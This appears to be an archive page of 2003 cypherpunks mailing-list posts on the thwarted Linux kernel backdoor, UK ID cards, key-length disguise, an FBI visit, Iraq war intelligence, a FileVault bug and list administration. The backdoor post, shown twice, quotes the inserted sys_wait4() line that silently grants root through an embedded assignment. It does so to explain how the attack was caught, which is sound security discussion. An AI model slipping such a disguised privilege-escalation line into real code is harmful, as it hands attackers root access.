- cypherpunks-legacy - lists.cpunks.org

Thwarted Linux backdoor
by Douglas W. Jones 11 Nov '03

11 Nov '03

On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into Linux was averted. This is a really good example of the subtle kinds of hacks a source code examiner must be waiting to catch if we want genuinely secure voting systems under the current model of proprietary DRE systems with a closed-door source code examination. Someone broke into a server at kernel.kbits.net and inserted the following code into the Linux kernel: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; This was done in the code sys_wait4(). Larry McVoy caught the fact that the change had been made, and was annoyed because it wasn't logged properly. Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if you hope to get root." So, an annoying violation of the software change logging requirements turned out to be an attempt to install a backdoor in Linux. At least two very experienced programmers looked at it and saw just slightly odd code, before the serious nature of the threat was actually discovered. This particular attack, by the way, is ruled out by the current voting system standards, not because they require a comprehensive security analysis, but because of their C-centered coding rules. Embedded assignment is forbidden. Current source code checks are good at finding embedded assignments and flagging them (as long as the code is written in C). No doubt, a hacker of the sophistication suggested by the attack illustrated above would strictly adhere to the coding guidelines in formulating their attack. For the complete story of this attack on Linux, including the actual E-mail exchange documenting the discovery of the attack, see: http://kerneltrap.org/node/view/1584 Linux: Kernel "Back Door" Attempt This attack has only made the mainstream media in one place, so far: http://www.smh.com.au/articles/2003/11/07/1068013371170.html Bid to backdoor Linux kernel detected - smh.com.au This is a pity, because I think this story is really important. ----- End forwarded message ----- -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

1 0

Thwarted Linux backdoor
by Douglas W. Jones 11 Nov '03

11 Nov '03

On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into Linux was averted. This is a really good example of the subtle kinds of hacks a source code examiner must be waiting to catch if we want genuinely secure voting systems under the current model of proprietary DRE systems with a closed-door source code examination. Someone broke into a server at kernel.kbits.net and inserted the following code into the Linux kernel: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; This was done in the code sys_wait4(). Larry McVoy caught the fact that the change had been made, and was annoyed because it wasn't logged properly. Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if you hope to get root." So, an annoying violation of the software change logging requirements turned out to be an attempt to install a backdoor in Linux. At least two very experienced programmers looked at it and saw just slightly odd code, before the serious nature of the threat was actually discovered. This particular attack, by the way, is ruled out by the current voting system standards, not because they require a comprehensive security analysis, but because of their C-centered coding rules. Embedded assignment is forbidden. Current source code checks are good at finding embedded assignments and flagging them (as long as the code is written in C). No doubt, a hacker of the sophistication suggested by the attack illustrated above would strictly adhere to the coding guidelines in formulating their attack. For the complete story of this attack on Linux, including the actual E-mail exchange documenting the discovery of the attack, see: http://kerneltrap.org/node/view/1584 Linux: Kernel "Back Door" Attempt This attack has only made the mainstream media in one place, so far: http://www.smh.com.au/articles/2003/11/07/1068013371170.html Bid to backdoor Linux kernel detected - smh.com.au This is a pity, because I think this story is really important. ----- End forwarded message ----- -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

1 0

Biometric ID cards to be "backdoored" in the UK
by Dave Howe 11 Nov '03

11 Nov '03

Students of UK politics should be aware that the british prime minister considered it a sign of "moral courage" to press ahead with an attack on iraq despite protests in the streets and massed opposition by politicians of all parties, and that forging evidence is fully justified by the results. That being given, it should come as no surprise that, despite public opposition by the people, other politicans and the prime minister himself, and repeated proofs that ID cards have no effect at all on terrorism (for instance, the 9/11 attackers all had ID) the Home Secretary is pressing forward with a road map to compulsory ID cards for all UK citizens by 2012. The "results summary" from a consultation process that was more than 70% opposed to introduction of ID Cards is here: http://www.official-documents.co.uk/document/cm60/6020/6020.htm Note that the preferred path is now to update passport and driving licence documents (at the citizen's expense) to include digital ID and biometric information; once 80% of citizens have been forced to accept ID cards by this backdoor process (no parlimentary debate required) it will seem only a small step to force the remaining 20% to purchase such a card. There will apparently not be any compulsion to *carry* the card (at this stage) but it will be required to be produced to obtain access to government controlled services such as healthcare....

1 0

Re: Disguising the Key length (Was...Has a change taken place in factoring RSA keys)
by Major Variola (ret) 10 Nov '03

10 Nov '03

At 02:09 PM 11/10/03 -0500, Tyler Durden wrote: >My first question is, how easy is it for them to estimate the key size of an >encrypted message? Its not secret. But lets look at twiddling what the message header encodes. Suppose you relabel a 2Kbit key as a 1Kbit. Then what are the extra bits for, Eve will wonder. Suppose you claim a 1Kbit RSA key is 2Kbits. Now, the math works if you treat a 1Kbit key as 2Kbit. But the decrypt won't work unless the recipient modifies the header to specify 1Kbit to ignore the fake extra key bits. Which requires a secure OOB channel, see below. >Can they do this without actually "chewing" on the message for a while? (ie, >if it doesn't crack in x minutes then there's a 99% probability of the key >being Y in length...) "How can you have any pudding if you don't eat your meat? " Lets think about DES, which also has a publicly-visible keylength. If you've run through *all* the 56 bit keys, and found no solution, you know that either DES wasn't the algorithm (perhaps 3DES was, perhaps DES-X, perhaps Blowfish, AES, Skipjack, etc. You need to reconfigure your FPGAs for each algorithm.) And if you haven't run through all the keys, it could always be the *last* key you try. So although given *large sets of messages* you can say that 99% would have been cracked "by now", this kind of stats isn't really useful. "Close" is for hand grenades, horseshoes, and proximity fuzes; there is no "close" in crypto. >Second question: Is it possible to make a message appear to have been >encrypted with a shorter key than was actually used? That would cause the decrypting code to truncate significant digits which would not permit decryption. Suppose you did this and the recipient fixed the length so it would work. This wouldn't matter: Eve would wonder what all those extra random bits are for. A better approach *might* be to lie about the symmetric encryption you've used. Encrypt with AES-256, use RSA on that 256 bit key, but modify the message to claim you've used AES-128 or 3DES. However, this requires a secure out of band channel to communicate this to your recipient. And if you have such a channel, you may as well give them a nonstandard S-box initialization (eg "e times your SSN number" vs. "pi" in Blowfish) or a OTP. --- A SAM a day keeps the invaders away.

1 0

Re: Gestapo harasses John Young, appeals to patriotism, told to fuck off
by John Young 10 Nov '03

10 Nov '03

SA Renner did most of the talking and carried a manila folder with a file name on it beginning with "SP," I think. Couldn't see the remainder. He didn't open it during the session and it may have been a prop. They showed up without warning, no call ahead, got past our Doberman doorman (we're on the 6th floor) who usually calls us about visitors but didn't this time, and hasn't said a peep since the visit. (In contrast, when I got subpoenas for the Bell grand jury and trial, the doorman called up about the Treasury agents and I met them in the street level lobby.) Renner showed ID, asked to come in and talk. They were here about half an hour. I tried to get them to sit together but they carefully bracketed me. They asked who works with me on Cryptome, who funds it. Me and me alone, I said. The FBI agents asked about nobody except me. Renner asked for ID and I showed him Duncan's, or maybe it was Declan's. I sent an account to cpunks right after the visit but LNE never processed it, nor three more later. Hence this algebra late comer.

1 0

Review of Film: Uncovered: The Whole Truth About the Iraq War
by Steve Schear 10 Nov '03

10 Nov '03

Case For War Confected, Say Top U.S. Officials By Andrew Gumbel Independent UK <http://news.independent.co.uk/world/americas/story.jsp?story=461953> Sunday 09 November 2003 An unprecedented array of US intelligence professionals, diplomats and former Pentagon officials have gone on record to lambast the Bush administration for its distortion of the case for war against Iraq. In their view, the very foundations of intelligence-gathering have been damaged in ways that could take years, even decades, to repair. A new documentary film beginning to circulate in the United States features one powerful condemnation after another, from the sort of people who usually stay discreetly in the shadows - a former director of the CIA, two former assistant secretaries of defence, a former ambassador to Saudi Arabia and even the man who served as President Bush's Secretary of the Army until just a few months ago. Between them, the two dozen interviewees reveal how the pre-war intelligence record on Iraq showed virtually the opposite of the picture the administration painted to Congress, to US voters and to the world. They also reconstruct the way senior White House officials - notably Vice-President Dick Cheney - leaned on the CIA to find evidence that would fit a preordained set of conclusions. "There was never a clear and present danger. There was never an imminent threat. Iraq - and we have very good intelligence on this - was never part of the picture of terrorism," says Mel Goodman, a veteran CIA analyst who now teaches at the National War College. The case for accusing Saddam Hussein of concealing weapons of mass destruction was, in the words of the veteran CIA operative Robert Baer, largely achieved through "data mining" - going back over old information and trying to wrest new conclusions from it. The agenda, according to George Bush Senior's ambassador to Saudi Arabia, Chas Freeman, was both highly political and profoundly misguided. "The theory that you can bludgeon political grievances out of existence doesn't have much of a track record," he says, "so essentially we have been neo-conned into applying a school of thought about foreign affairs that has failed everywhere it has been tried." The hour-long film - entitled Uncovered: The Whole Truth About the Iraq War - was put together by Robert Greenwald, a veteran TV producer in the forefront of Hollywood's anti-war movement who never suspected, when he started out, that so many establishment figures would stand up and be counted. "My attitude was, wow, CIA people, I thought these were the bad guys," Mr Greenwald said. "Not everyone agreed on everything. Not everyone was against the war itself. But there was a universally shared opinion that we had been misled about the reasons for the war." Although many elements in the film are not necessarily new - the forged document on uranium sales from Niger to Iraq, the aluminium tubes falsely assumed to be parts for nuclear weapons, the satellite images of "mobile biolabs" that turned out to be hydrogen compression facilities, the "decontamination vehicles" that were in fact fire engines - what emerges is a striking sense of professional betrayal in the intelligence community. As the former CIA analyst Ray McGovern argues with particular force, the traditional role of the CIA has been to act as a scrupulously accurate source of information and analysis for presidents pondering grave international decisions. That role, he said, had now been "prostituted" and the CIA may never be the same. "Where is Bush going to turn to now? Where is his reliable source of information now Iraq is spinning out of control? He's frittered that away," Mr McGovern said. "And the profound indignity is that he probably doesn't even realise it." The starting point for the tarnishing of the CIA was a speech by Vice-President Cheney on 26 August 2002, in which he told the Veterans of Foreign Wars in Nashville that Saddam was reconstituting his nuclear weapons programme and was thus threatening to inflict "death on a massive scale - in his own region or beyond". According to numerous sources, Mr Cheney followed up his speech with a series of highly unorthodox visits to CIA headquarters in Langley, Virginia, in which he badgered low-level analysts to come up with information to substantiate the extremely alarming - but entirely bogus - contents of his speech. By early September, intelligence experts in Congress were clamouring for a so-called National Intelligence Estimate, a full rundown of everything known about Iraq's weapons programmes. Usually NIEs take months to produce, but George Tenet, the CIA director, came up with a 100-page document in just three weeks. The man he picked to write it, the weapons expert Robert Walpole, had a track record of going back over old intelligence assessments and reworking them in accordance with the wishes of a specific political interest group. In 1998, he had come up with an estimate of the missile capabilities of various rogue states that managed to sound considerably more alarming than a previous CIA estimate issued three years earlier. On that occasion, he was acting at the behest of a congressional commission anxious to make the case for a missile defence system; the commission chairman was none other than Donald Rumsfeld, now Secretary of Defence and a key architect of the Iraq war. Mr Walpole's NIE on Iraq threw together all the elements that have now been discredited - Niger, the alumin- ium tubes, and so on. It also gave the misleading impression that intelligence analysts were in broad agreement about the Iraqi threat, relegating most of the doubts and misgivings to footnotes and appendices. By the time parts of the NIE were made public, even those few qualifications were excised. When President Bush's speechwriters got to work - starting with the address to Congress on 7 October that led to a resolution authorising the use of force against Iraq - the language became even stronger. Mr Tenet fact-checked the 7 October speech, and seems to have played a major role in every subsequent policy address, including Colin Powell's powerful presentation to the United Nations Security Council on 5 February. Of that pivotal speech, Mr McGovern says in the film: "It was a masterful performance, but none of it was true." More info on the Film: http://www.truthuncovered.com/ "[I]t is the leaders of the country who determine the policy and it is always a simple matter to drag the people along, whether it is a democracy, or a fascist dictatorship, or a parliament, or a communist dictatorship. Voice or no voice, the people can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked, and denounce the peacemakers for lack of patriotism and exposing the country to danger. It works the same in any country." --Reichsmarschall Hermann Goering

1 0

Panther's FileVault can damage data
by Eugen Leitl 10 Nov '03

10 Nov '03

In case you've been using Apple OS X 10.3 (Panther)'s FileVault (Rijndael128 on ~/) there's a yet unfixed bug. Answer no if requested to regain lost disk space in encrypted directory[1] Notice that while the screen lock buffer overrun has been fixed, there are still unresolved issues with it[2] [1]http://www.theregister.co.uk/content/39/33769.html [2]http://www.securityfocus.com/bid/8912 -- Eugen* Leitl <a href="http://leitl.org">leitl</a> ______________________________________________________________ ICBM: 48.07078, 11.61144 http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE [demime 0.97c removed an attachment of type application/pgp-signature]

5 4

Cypherpunks List Info
by cpunk＠lne.com 09 Nov '03

09 Nov '03

Cypherpunks Mailing List Information Last updated: Oct 13, 2003 This message is also available at http://www.lne.com/cpunk Instructions on unsubscribing from the list can be found below. 0. Introduction The Cypherpunks mailing list is a mailing list for discussing cryptography and its effect on society. It is not a moderated list (but see exceptions below) and the list operators are not responsible for the list content. Cypherpunks is a distributed mailing list. A subscriber can subscribe to one node of the list and thereby participate on the full list. Each node (called a "Cypherpunks Distributed Remailer", although they are not related to anonymous remailers) exchanges messages with the other nodes in addition to sending messages to its subscribers. A message posted to one node will be received by the list subscribers on the other nodes, and vice-versa. 1. Filtering The various CDRs follow different policies on filtering spam and to a lesser extent on modifying messages that go to/from their subscribers. Filtering is done, on nodes that do it, to reduce the huge amount of spam that the cypherpunks list is subjected to. There are three basic flavors of filtering CDRs: "raw", which send all messages to their subscribers. "cooked" CDRs try to eliminate the spam on that's on the regular list by automatically sending only messages that are from cypherpunks list subscribers (on any CDR) or people who are replying to list messages. Finally there are moderated lists, where a human moderator decides which messages from the raw list to pass on to subscribers. 2. Message Modification Message modification policy indicates what modifications, if any, beyond what is needed to operate the CDR are done (most CDRs add a tracking X-loop header on mail posted to their subscribers to prevent mail loops). Message modification usually happens on mail going in or out to each CDR's subscribers. CDRs should not modify mail that they pass from one CDR to the next, but some of them do, and others undo those modifications. 3. Privacy Privacy policy indicates if the list will allow anyone ("open"), or only list members, or no one ("private") , to retrieve the subscribers list. Note that if you post, being on a "private" list doesn't mean much, since your address is now out there. It's really only useful for keeping spammers from harvesting addresses from the list software. Digest mode indicates that the CDR supports digest mode, which is where the posts are batched up into a few large emails. Nodes that support only digest mode are noted. 4. Anonymous posting Cypherpunks encourages anonymous posting. You can use an anonymous remailer: http://www.andrebacard.com/remail.html http://anon.efga.org/Remailers http://www.gilc.org/speech/anonymous/remailer.html 5. Unsubscribing Unsubscribing from the cypherpunks list: Since the list is run from a number of different CDRs, you have to figure out which CDR you are subscribed to. If you don't remember and can't figure it out from the mail headers (hint: the top Received: line should tell you), the easiest way to unsubscribe is to send unsubscribe messages to all the CDRs listed below. How to figure out which CDR you are subscribed to: Get your mail client to show all the headers (Microsoft calls this "internet headers"). Look for the Sender or X-loop headers. The Sender will say something like "Sender: owner-cypherpunks(a)lne.com". The X-loop line will say something like "X-Loop: cypherpunks(a)lne.com". Both of these inticate that you are subscribed to the lne.com CDR. If you were subscribed to the algebra CDR, they would have algebra.com in them. Once you have figured out which CDR you're subscribed to, look in the table below to find that CDRs unsubscribe instructions. 6. Lunatics, spammers and nut-cases "I'm subscribed to a filtering CDR yet I still see lots of junk postings". At this writing there are a few sociopaths on the cypherpunks list who are abusing the lists openness by dumping reams of propaganda on the list. The distinction between a spammer and a subscriber is nearly always very clear, but the dictinction between a subscriber who is abusing the list by posting reams of propaganda and a subscriber who is making lots of controversial posts is not clear. Therefore, we tolerate the crap. Subscribers with a low crap tolerance should check out mail filters. Procmail is a good one, although it works on Unix and Unix-like systems only. Eudora also has a capacity for filtering mail, as do many other mail readers. An example procmail recipie is below, you will of course want to make your own decisions on which (ab)users to filter. # mailing lists: # filter all cypherpunks mail into its own cypherspool folder, discarding # mail from loons. All CDRs set their From: line to 'owner-cypherpunks'. # /dev/null is unix for the trash can. :0 * ^From.*owner-cypherpunks@.* { :0: * (^From:.*ravage@ssz\.com.*|\ ^From:.*jchoate@dev.tivoli.com.*|\ ^From:.*mattd@useoz.com|\ ^From:.*proffr11@bigpond.com|\ ^From:.*jei@cc.hut.fi) /dev/null :0: cypherspool } 7. List of current CDRs All commands are sent in the body of mail unless otherwise noted. --------------------------------------------------------------------------- Algebra: Operator: Subscription: "subscribe cypherpunks" to majordomo(a)algebra.com Unsubscription: "unsubscribe cypherpunks" to majordomo(a)algebra.com Help: "help cypherpunks" to majordomo(a)algebra.com Posting address: cypherpunks(a)algebra.com Filtering policy: raw Message Modification policy: no modification Privacy policy: ??? Info: ??? --------------------------------------------------------------------------- CCC: Operator: drt(a)un.bewaff.net Subscription: "subscribe [password of your choice]" to cypherpunks-request(a)koeln.ccc.de Unsubscription: "unsubscribe <password>" to cypherpunks-request(a)koeln.ccc.de Help: "help" to to cypherpunks-request(a)koeln.ccc.de Web site: http://koeln.ccc.de/mailman/listinfo/cypherpunks Posting address: cypherpunks(a)koeln.ccc.de Filtering policy: This specific node drops messages bigger than 32k and every message with more than 17 recipients or just a line containing "subscribe" or "unsubscribe" in the subject. Digest mode: this node is digest-only NNTP: news://koeln.ccc.de/cbone.ml.cypherpunks Message Modification policy: no modification Privacy policy: ??? --------------------------------------------------------------------------- Infonex: Subscription: "subscribe cypherpunks" to majordomo(a)infonex.com Unsubscription: "unsubscribe cypherpunks" to majordomo(a)infonex.com Help: "help cypherpunks" to majordomo(a)infonex.com Posting address: cypherpunks(a)infonex.com Filtering policy: raw Message Modification policy: no modification Privacy policy: ??? --------------------------------------------------------------------------- Lne: Subscription: "subscribe cypherpunks" to majordomo(a)lne.com Unsubscription: "unsubscribe cypherpunks" to majordomo(a)lne.com Help: "help cypherpunks" to majordomo(a)lne.com Posting address: cypherpunks(a)lne.com Filtering policy: cooked Posts from all CDR subscribers & replies to threads go to lne CDR subscribers. All posts from other CDRs are forwarded to other CDRs unmodified. Message Modification policy: 1. messages are demimed (MIME attachments removed) when posted through lne or received by lne CDR subscribers 2. leading "CDR:" in subject line removed 3. "Reply-to:" removed Privacy policy: private Info: http://www.lne.com/cpunk; "info cypherpunks" to majordomo(a)lne.com Archive: http://archives.abditum.com/cypherpunks/index.html (thanks to Steve Furlong and Len Sassaman) --------------------------------------------------------------------------- Minder: Subscription: "subscribe cypherpunks" to majordomo(a)minder.net Unsubscription: "unsubscribe cypherpunks" to majordomo(a)minder.net Help: "help" to majordomo(a)minder.net Posting address: cypherpunks(a)minder.net Filtering policy: raw Message Modification policy: no modification Privacy policy: private Info: send mail to cypherpunks-info(a)minder.net --------------------------------------------------------------------------- Openpgp: [openpgp seems to have dropped off the end of the world-- it doesn't return anything from sending help queries. Ericm, 8/7/01] Subscription: "subscribe cypherpunks" to listproc(a)openpgp.net Unsubscription: "unsubscribe cypherpunks" to listproc(a)openpgp.net Help: "help" to listproc(a)openpgp.net Posting address: cypherpunks(a)openpgp.net Filtering policy: raw Message Modification policy: no modification Privacy policy: ??? --------------------------------------------------------------------------- Sunder: Subscription: "subscribe" to sunder(a)sunder.net Unsubscription: "unsubscribe" to sunder(a)sunder.net Help: "help" to sunder(a)sunder.net Posting address: sunder(a)sunder.net Filtering policy: moderated Message Modification policy: ??? Privacy policy: ??? Info: ??? --------------------------------------------------------------------------- Pro-ns: Subscription: "subscribe cypherpunks" to majordomo(a)pro-ns.net Unsubscription: "unsubscribe cypherpunks" to majordomo(a)pro-ns.net Help: "help cypherpunks" to majordomo(a)pro-ns.net Posting address: cypherpunks(a)pro-ns.net Filtering policy: cooked Posts from all CDR subscribers & replies to threads go to local CDR subscribers. All posts from other CDRs are forwarded to other CDRs unmodified. Message Modification policy: 1. leading "CDR:" in subject line removed 2. "Reply-to:" removed Privacy policy: private Info: http://www.pro-ns.net/cpunk

1 0

Stanford security conference
by Anonymous Sender 09 Nov '03

09 Nov '03

This looks interesting: --- Stanford Law School Media Release For Immediate Release: Thursday, October 30, 2003 CALIFORNIA ATTORNEY GENERAL BILL LOCKYER TO ADDRESS CYBERSECURITY AND VULNERABILITY DISCLOSURE AT STANFORD LAW SCHOOL Conference at Stanford Law School, Saturday November 22, 2003, 8:00 a.m. to 6:00 p.m. Early registration deadline is Nov 1, 2003. http://cyberlaw.stanford.edu/security/ --- Reported computer security breaches have almost doubled since last year, and the vast majority go unreported. In two high profile incidents earlier this year, hackers downloaded U.S. Navy credit card numbers and a worm paralyzed Bank of America's ATM network. In July, California became the first state to require businesses to notify consumers if hackers illegally obtain their personal information from company databases. California Attorney General Bill Lockyer will talk about enforcing this measure and other initiatives to achieve Internet security in the face of increasingly severe breaches of computer systems. His talk is part of a day-long conference hosted by the Stanford Law School Center for Internet and Society. Lockyer will join twenty top high-tech executives, encryption experts, and law professors, who will propose ways that technology vendors, their customers, government officials, researchers, and consumers can accelerate vulnerability research, computer security, and consumer privacy protection. The conference discussion will occur against the backdrop of a national debate as to how to respond to growing threats to cyberspace, and how to balance security needs against heightened exposure and the disclosure of proprietary information. On the one side are those who seek a federal measure like the one in California that mandates disclosure of security vulnerabilities. On the other are those who believe that non-disclosure ("security through obscurity") better protects privacy while continuing to enable research and development. The conference brings people from both camps together with technical experts to hammer out solutions and recommend policy for both industry and government. Other speakers include: Matt Blaze, AT&T Mary Ann Davidson, Oracle David L. Dill, Professor of Computer Science, Stanford University James Duncan, Cisco Gerhard Eschelbeck, Qualys Stephanie Fohn, Consultant Tiina Havana, Oulu University Secure Programming Group (OUSPG), Finland Shawn Hernan, CERT Steven B. Lipner, Microsoft David Litchfield, NGSSoftware Simple Nomad, NMRC, Bindview Len Sassaman, Anonymizer Bruce Schneier, Counterpane Peter P. Swire, Professor of Law at Ohio State University Hal Varian, Professor, University of California, Berkeley Vincent Weafer, Symantec Stephen Wu, InfoSec Law Group Chris Wysopal, @stake About Stanford Law School Center for Internet and Society (CIS): CIS is a public interest technology law and policy program within the umbrella Law, Science and Technology Program at Stanford Law School. CIS convenes scholars, legislators, programmers, security researchers, scientists and students to study the interaction between new technologies and the law, and determine how the synergy between the two can either promote or harm the public good. CIS works to advance technology and shape the direction of the law to protect free speech, privacy, public commons, diversity, and scientific inquiry. Center for Internet and Society Contact Information: Jennifer Granick, Executive Director, CIS, 650/724-0014, jennifer(a)law.stanford.edu Lauren Gelman, Assistant Director, CIS, 650/724-3358, gelman(a)stanford.edu Bill Lockyer's keynote address is scheduled from 12:15 p.m to 1:45 p.m. For a complete schedule of sessions, and to register for this event online, go to: http://cyberlaw.stanford.edu/security/. This event is free to the media. To obtain a press pass and reserve press seating, please contact: Judith Romero, Assistant Director of Communication for Stanford Law School, 650/723-2232 or judith.romero(a)stanford.edu About Stanford CIS: The Center for Internet and Society (CIS) is a public interest technology law and policy program at Stanford Law School and a part of Law, Science and Technology Program at Stanford Law School. The CIS brings together scholars, academics, legislators, students, programmers, security researchers, and scientists to study the interaction of new technologies and the law and to examine how the synergy between the two can either promote or harm public goods like free speech, privacy, public commons, diversity, and scientific inquiry. The CIS strives as well to improve both technology and law, encouraging decision makers to design both as a means to further democratic values. -end-

1 0

Re: Panther's FileVault can damage data
by Major Variola (ret) 07 Nov '03

07 Nov '03

At 06:37 PM 11/7/03 -0600, Harmon Seaver wrote: > Apple is both a software *and* a hardware company, however, and they've >pretty much always been negligent about making sure that other vendor's hardware >worked with theirs and/or their OS. I thought that was half the point of Apple ---you play only with us, and we make sure it all runs smoothly. (The other half being a once-superior UI). But you pay. If you want cheaper hardware that you have to wrestle with, you get a PC. Isn't that why Fry's has a return policy? A policy is a set of tradeoffs. Free people choose what they want.

1 0